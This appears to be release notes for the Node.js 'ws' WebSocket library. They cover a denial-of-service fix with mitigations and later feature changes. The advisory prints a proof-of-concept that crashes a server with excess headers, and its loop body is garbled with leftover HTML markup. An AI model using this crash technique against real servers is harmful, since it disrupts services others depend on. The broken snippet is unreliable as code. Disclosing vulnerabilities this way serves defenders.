    Bug fixes

    • Fixed a DoS vulnerability (#2231).

    A request with a number of headers exceeding theserver.maxHeadersCount
    threshold could be used to crash a ws server.

    const http = require('http');
    const WebSocket = require('ws');

    const wss = new WebSocket.Server({ port: 0 }, function () {
    const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
    const headers = {};
    let count = 0;

    for (let i = 0; i < chars.length; i++) {
    if (count === 2000) break;

    <span class="pl-kos">}</span>
    

    }

    headers.Connection = 'Upgrade';
    headers.Upgrade = 'websocket';
    headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
    headers['Sec-WebSocket-Version'] = '13';

    const request = http.request({
    headers: headers,
    host: '127.0.0.1',
    port: wss.address().port
    });

    request.end();
    });

    The vulnerability was reported by Ryan LaPointe in #2230.

    In vulnerable versions of ws, the issue can be mitigated in the following ways:

    1. Reduce the maximum allowed length of the request headers using the
      --max-http-header-size=size and/or the maxHeaderSize options so
      that no more headers than the server.maxHeadersCount limit can be sent.
    2. Set server.maxHeadersCount to 0 so that no limit is applied.
  • 8.17.0 - 2024-04-28

    Features

    • The WebSocket constructor now accepts the createConnection option (#2219).

    Other notable changes

    • The default value of the allowSynchronousEvents option has been changed to
      true (#2221).

    This is a breaking change in a patch release. The assumption is that the option
    is not widely used.

  • 8.16.0 - 2023-12-26

    Features

    • Added the autoPong option (01ba54e).
